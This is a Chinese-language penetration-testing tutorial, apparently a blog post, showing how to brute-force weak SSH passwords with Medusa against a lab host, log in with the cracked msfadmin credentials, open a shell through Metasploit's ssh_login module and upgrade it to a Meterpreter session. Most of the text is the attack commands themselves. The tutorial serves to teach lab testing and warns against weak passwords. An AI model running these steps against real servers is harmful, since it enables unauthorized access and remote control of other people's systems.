当前位置:网站首页>6-5漏洞利用-SSH弱口令破解利用
6-5漏洞利用-SSH弱口令破解利用
2022-07-04 03:53:00 【山兔1】

破解完密码之后,获得对应的用户名,就可以使用ssh客户端软件,进行对应的登录,登录之后,我们就可以做很多的操作,获得shell,在shell当中,就可以执行对应的命令
Medusa ssh弱口令破解
如果在设置SSH服务时,管理员为了方便记忆设置了容易被猜解出来的用户名和密码(弱口令)。那么测试人员就可以使用对应的密码工具进行身份验证暴力破解弱口令,或者是用户名和密码同时破解的这么一个过程。从而获得一些容易猜解出来的这些用户名和密码,破解出来就可以使用对应的用户名和密码登录系统ssh
弱口令破解,验证了一句俗语,苍蝇不叮无缝的蛋,我们因为设置了弱口令,很有可能被破解出来,我们为了一时的方便,从而导致了系统的缺陷,是非常不适合的
下面介绍medusa对指定的ssh服务进行用户名和密码破解
medusa -h 192.168.1.100 -u msfadmin -p msfadmin -M ssh

通过-M指定要破解的服务,出现success表示破解成功,如果没有,就表示我们的字典当中不包含我们登录系统的一个用户名和密码组合
首先我们ping一下目标服务器
ping 192.168.1.100

medusa
//查看帮助信息

medusa -d

通过-d来列举出,我们已知的模块或协议,在我们破解的时候,我们要去掉.mod,直接ssh就可以
medusa -h 192.168.1.100 -u msfadmin -P /root/Desktop/pass.txt -M ssh

这个时候,要尝试我们每一次的密码,与对应的用户名是否匹配
SSH命令行工具登录
用ssh客户端登录ssh服务,进行操作,在没有任何图形化界面时,我们完全需要依靠命令行进行操作,或者是linux自带的工具,进行操作,更加高效的完成操作
一般情况下Linux下都具有ssh客户端,用来登录ssh服务端
可以使用ssh 用户名@IP地址 然后根据提示输入密码
默认情况下是22号端口,我们就不需要指定对应的端口了,当然,如果我们的ssh端口是其它端口,我们就需要-p指定对应的端口号
ssh [email protected]
msfadmin
id
ifconfig

登录之后,可以执行一些命令,他只是使用了ssh服务的登录
Metasploit利用SSH登录反弹shell
使用Metasploit可以进行ssh登录(根据破解的结果,进行自动登录),会自动建立对应的Bash shell连接。
medusa只做破解,而我们的metasploit会返回对应的结果,使得我们可以执行命令,他结合了medusa和ssh客户端的这样一个操作
set rhosts 192.168.1.100
set username msfadmin
set password msfadmin
run
sessions -l

msfconsole
//metasploit命令行控制的终端
use auxiliary/scanner/ssh/ssh_login
show options
set rhosts 192.168.1.100

set username msfadmin
show options

set password msfadmin
show options

run

sessions -l
sessions -i 1
id

ifconfig

Metasploit获取Meterperter shell
利用获得的Bash shell,注入Metasploit中Meterpreter payload从而获取更强大功能的shell。
sessions -u 1
//输入会话的id,就会注入对应的meterpreter payload
sessions -l
//使用session -l进行查看
sessions -i 3
//输入对应的payload id进行连接
id
pwd

边栏推荐
- Leader: who uses redis expired monitoring to close orders and get out of here!
- Imitation of "game bird" source code, mobile game issue evaluation, open service, open test collection, game download website template
- Rhcsa 08 - automount configuration
- Wobo Union ended its strategic evaluation and decided to retain Bozi's business with excellent performance
- (pointer) write a function to compare the size of strings by yourself, which is similar to StrCmp.
- 批处理初识
- 仿《游戏鸟》源码 手游发号评测开服开测合集专区游戏下载网站模板
- Longest increasing subsequence problem (do you really know it)
- MIN_ RTO dialog
- 更优雅地远程操作服务器:Paramiko库的实践
猜你喜欢

Unity draws the trajectory of pinball and billiards

【安全攻防】序列化与反序列,你了解多少?
![[wechat applet] good looking carousel map component](/img/66/4ae6a72fff419c7ed1ca015eb94c03.jpg)
[wechat applet] good looking carousel map component

Longest increasing subsequence problem (do you really know it)

【愚公系列】2022年7月 Go教学课程 002-Go语言环境安装

仿《游戏鸟》源码 手游发号评测开服开测合集专区游戏下载网站模板

RPC Technology

Rhcsa 04 - process management

Deep parsing structured exception handling (SEH) - by Matt Pietrek

Many founders of technology companies provided enterpriser first with a round C financing of up to US $158million to help it invest in the next generation of global innovators
随机推荐
两万字带你掌握多线程
MIN_RTO 对话
资深开发人员告诉你,怎样编写出优秀的代码?
Unity资源路径
Senior developers tell you, how to write excellent code?
Ppt tutorial, how to save a presentation as a PDF file in PowerPoint?
NFT new opportunity, multimedia NFT aggregation platform okaleido will be launched soon
网络 - VXLAN
Operation of ES6
Leetcode skimming: binary tree 09 (minimum depth of binary tree)
What does software testing do? Find defects and improve the quality of software
1. Mx6u-alpha development board (simulating STM32 drive development experiment)
(指針)自己寫一個比較字符串大小的函數,功能與strcmp類似。
Leader: who uses redis expired monitoring to close orders and get out of here!
96% of the collected traffic is prevented by bubble mart of cloud hosting
Flink learning 8: data consistency
DP83848+网线热拔插
Graduation project
Distributed cap theory
NFT新的契机,多媒体NFT聚合平台OKALEIDO即将上线